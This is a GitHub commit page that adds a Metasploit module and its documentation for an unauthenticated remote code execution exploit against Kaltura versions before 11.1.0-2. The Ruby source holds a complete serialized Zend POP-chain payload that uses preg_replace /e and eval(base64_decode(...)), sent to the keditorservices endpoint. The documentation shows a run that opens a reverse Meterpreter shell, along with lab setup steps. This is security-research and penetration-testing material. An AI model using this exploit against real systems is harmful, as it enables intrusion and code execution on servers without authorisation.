Skip to content

Commit 04f8f7a

Browse files
bwatters-r7bwatters-r7
committed
Land rapid7#7266, Add Kaltura Remote PHP Code Execution
2 parents fda5faf + 2d3c167 commit 04f8f7a

File tree

2 files changed

+248
-0
lines changed

2 files changed

+248
-0
lines changed

‎documentation/modules/exploit/linux/http/kaltura_unserialize_rce.md

Lines changed: 147 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,147 @@
1+
## Vulnerable Application
2+
3+
This module exploits an Object Injection vulnerability in Kaltura. By exploiting this vulnerability, unauthenticated users can execute arbitrary code under the context of the web server user.
4+
5+
Kaltura has a module named keditorservices that takes user input and then uses it as an unserialized function parameter. The constructed object is based on the SektionEins Zend code execution POP chain PoC, with a minor modification to ensure Kaltura processes it and the Zend_Log function's __destruct() method is called. Kaltura versions prior to 11.1.0-2 are affected by this issue.
6+
7+
**Vulnerable Application Installation Steps**
8+
9+
Kaltura has their own RPM and/or DEB packages to help us to install it without any issue. Following steps are slightly different than official wiki in order to install the vulnerable packages.
10+
11+
Following steps are valid on the CentOS 6 x64 bit operating system.
12+
13+
1. Install CentOS-6 x64 and run `yum update -y` in order to fetch and install the latest packages. Also setting the hostname to something like _kalturahack.dev_ would be wise, because it will be used during Kaltura installation.
14+
2. Disable iptables and selinux.
15+
```
16+
iptables -F
17+
service iptables stop
18+
chkconfig iptables off
19+
setenforce permissive
20+
(selinux will be enabled on reboot unless editing /etc/selinux/config file.)
21+
```
22+
3. Install following pre-requisites.
23+
* PHP 5.3.n, 5.4.n, 5.5.n, 5.6.n [the official distro repo version]
24+
* MySQL/MariaDB [the official distro repo version]. Please make sure your MySQL is configured not to enforce strict mode.
25+
* JRE 1.7.n (openjdk can be used)
26+
27+
4. Install Kaltura yum repo.
28+
```
29+
rpm -ihv http://installrepo.kaltura.org/releases/kaltura-release.noarch.rpm
30+
```
31+
32+
5. Kaltura repo is configured for the latest version by default. We need to change it to one of the vulnerable releases. Thus, open `/etc/yum.repos.d/kaltura.repo` file with your favorite text editor and perform following replacement.
33+
34+
Original file. (# lines just ignored)
35+
```
36+
[Kaltura]
37+
name = Kaltura Server
38+
baseurl = http://installrepo.kaltura.org/releases/latest/RPMS/$basearch/
39+
gpgkey = http://installrepo.kaltura.org/releases/RPM-GPG-KEY-kaltura
40+
gpgcheck = 1
41+
enabled = 1
42+
43+
[Kaltura-noarch]
44+
name = Kaltura Server arch independent
45+
baseurl = http://installrepo.kaltura.org/releases/latest/RPMS/noarch
46+
gpgkey = http://installrepo.kaltura.org/releases/RPM-GPG-KEY-kaltura
47+
gpgcheck = 1
48+
enabled = 1
49+
baseurl = http://installrepo.kaltura.org/releases/latest/RPMS/$basearch/
50+
```
51+
After changes.
52+
```
53+
[Kaltura]
54+
name = Kaltura Server
55+
baseurl = http://installrepo.kaltura.org/releases/10.10.0/RPMS/$basearch/
56+
gpgkey = http://installrepo.kaltura.org/releases/RPM-GPG-KEY-kaltura
57+
gpgcheck = 1
58+
enabled = 1
59+
60+
[Kaltura-noarch]
61+
name = Kaltura Server arch independent
62+
baseurl = http://installrepo.kaltura.org/releases/10.10.0/RPMS/noarch
63+
gpgkey = http://installrepo.kaltura.org/releases/RPM-GPG-KEY-kaltura
64+
gpgcheck = 1
65+
enabled = 1
66+
baseurl = http://installrepo.kaltura.org/releases/latest/RPMS/$basearch/
67+
```
68+
69+
6. Install kaltura-server. This will take a while.
70+
```
71+
yum clean all
72+
yum install kaltura-server
73+
```
74+
75+
7. Run the following commands in order to initiate the database and start necessary services.
76+
```
77+
/opt/kaltura/bin/kaltura-mysql-settings.sh
78+
service memcached restart
79+
service ntpd restart
80+
chkconfig memcached on
81+
chkconfig ntpd on
82+
```
83+
84+
8. Start the kaltura configuration script `/opt/kaltura/bin/kaltura-config-all.sh` .
85+
86+
```
87+
[Email\NO]: "<your email address>"
88+
CDN hostname [kalrpm.lcl]: "<your hostname>"
89+
Apache virtual hostname [kalrpm.lcl]: "<your hostname>"
90+
Which port will this Vhost listen on [80]?:
91+
92+
DB hostname [127.0.0.1]: "<127.0.0.1>"
93+
DB port [3306]: "<3306>"
94+
MySQL super user [this is only for setting the kaltura user passwd and WILL NOT be used with the application]: "<root>"
95+
MySQL super user passwd [this is only for setting the kaltura user passwd and WILL NOT be used with the application]: "<your root password>"
96+
Analytics DB hostname [127.0.0.1]: "<127.0.0.1>"
97+
Analytics DB port [3306]: "<3306>"
98+
Sphinx hostname [127.0.0.1]: "<127.0.0.1>"
99+
100+
Secondary Sphinx hostname: [leave empty if none] "<empty>"
101+
102+
VOD packager hostname [kalrpm.lcl]: "<http://kaltura-nginx-hostname>"
103+
104+
VOD packager port to listen on [88]:
105+
106+
Service URL [http://kalrpm.lcl:80]: "<http://apache-hostname:80>"
107+
108+
Kaltura Admin user (email address): "<your email address>"
109+
Admin user login password (must be minimum 8 chars and include at least one of each: upper-case, lower-case, number and a special character): "<your kaltura admin password>"
110+
Confirm passwd: "<your kaltura admin password>"
111+
112+
Your time zone [see http://php.net/date.timezone], or press enter for [Europe/Amsterdam]: "<your timezone>"
113+
How would you like to name your system (this name will show as the From field in emails sent by the system) [Kaltura Video Platform]? "<your preferred system name>"
114+
Your website Contact Us URL [http://corp.kaltura.com/company/contact-us]: "<your contact URL>"
115+
'Contact us' phone number [+1 800 871 5224]? "<your phone numer>"
116+
117+
Is your Apache working with SSL?[Y/n] "<n>"
118+
It is recommended that you do work using HTTPs. Would you like to continue anyway?[N/y] "<y>"
119+
Which port will this Vhost listen on? [80] "<80>"
120+
Please select one of the following options [0]: "<0>"
121+
```
122+
123+
I do recommend that leaving all default values as is except SSL. You may want to install Kaltura without SSL support.
124+
125+
These steps are slightly different than following instruction.
126+
[http://kaltura-install-packages.readthedocs.io/en/latest/install-kaltura-redhat-based/](http://kaltura-install-packages.readthedocs.io/en/latest/install-kaltura-redhat-based/)
127+
128+
## Verification Steps
129+
130+
A successful check of the exploit will look like this:
131+
132+
```
133+
msf > use exploit/unix/webapp/kaltura_unserialize_rce
134+
msf exploit(kaltura_unserialize_rce) > set RHOST centoshacker.dev
135+
RHOST => centoshacker.dev
136+
msf exploit(kaltura_unserialize_rce) > check
137+
[+] centoshacker.dev:80 The target is vulnerable.
138+
msf exploit(kaltura_unserialize_rce) > exploit
139+
140+
[*] Started reverse TCP handler on 10.0.0.1:4444
141+
[*] Sending stage (33721 bytes) to 10.0.0.134
142+
[*] Meterpreter session 1 opened (10.0.0.1:4444 -> 10.0.0.134:50312) at 2016-09-17 22:56:44 +0300
143+
144+
meterpreter > pwd
145+
/opt/kaltura/app/alpha/web
146+
meterpreter >
147+
```

‎modules/exploits/linux/http/kaltura_unserialize_rce.rb

Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info={})
12+
super(update_info(info,
13+
'Name' => 'Kaltura Remote PHP Code Execution',
14+
'Description' => %q{
15+
This module exploits an Object Injection vulnerability in Kaltura.
16+
By exploiting this vulnerability, unauthenticated users can execute
17+
arbitrary code under the context of the web server user.
18+
19+
Kaltura has a module named keditorservices that takes user input
20+
and then uses it as an unserialized function parameter. The constructed
21+
object is based on the SektionEins Zend code execution POP chain PoC,
22+
with a minor modification to ensure Kaltura processes it and the
23+
Zend_Log function's __destruct() method is called. Kaltura versions
24+
prior to 11.1.0-2 are affected by this issue.
25+
26+
This module was tested against Kaltura 11.1.0 installed on CentOS 6.8.
27+
},
28+
'License' => MSF_LICENSE,
29+
'Author' =>
30+
[
31+
'Security-Assessment.com', # discovery
32+
'Mehmet Ince <[email protected]>' # msf module
33+
],
34+
'References' =>
35+
[
36+
['EDB', '39563']
37+
],
38+
'Privileged' => false,
39+
'Platform' => ['php'],
40+
'Arch' => ARCH_PHP,
41+
'Targets' => [ ['Automatic', {}] ],
42+
'DisclosureDate' => 'Mar 15 2016',
43+
'DefaultTarget' => 0
44+
))
45+
46+
register_options(
47+
[
48+
OptString.new('TARGETURI', [true, 'The target URI of the Kaltura installation', '/'])
49+
]
50+
)
51+
end
52+
53+
def check
54+
r = rand_text_alpha(15 + rand(4))
55+
cmd = "print_r(#{r}).die()"
56+
57+
p = ""
58+
p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
59+
p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"
60+
p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"
61+
p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"
62+
p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"
63+
p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"
64+
p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"
65+
66+
res = send_request_cgi(
67+
'method' => 'GET',
68+
'uri' => normalize_uri(target_uri.path, 'index.php/keditorservices/redirectWidgetCmd'),
69+
'vars_get' => {
70+
'kdata' => Rex::Text.encode_base64(p)
71+
}
72+
)
73+
74+
if res && res.body.include?(r)
75+
Exploit::CheckCode::Vulnerable
76+
else
77+
Exploit::CheckCode::Safe
78+
end
79+
end
80+
81+
def exploit
82+
cmd = "print_r(eval(base64_decode('#{Rex::Text.encode_base64(payload.encode)}'))).die()"
83+
84+
p = ""
85+
p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
86+
p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"
87+
p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"
88+
p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"
89+
p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"
90+
p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"
91+
p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"
92+
93+
res = send_request_cgi(
94+
'method' => 'GET',
95+
'uri' => normalize_uri(target_uri.path, 'index.php/keditorservices/redirectWidgetCmd'),
96+
'vars_get' => {
97+
'kdata' => Rex::Text.encode_base64(p)
98+
}
99+
)
100+
end
101+
end

0 commit comments

Comments
 (0)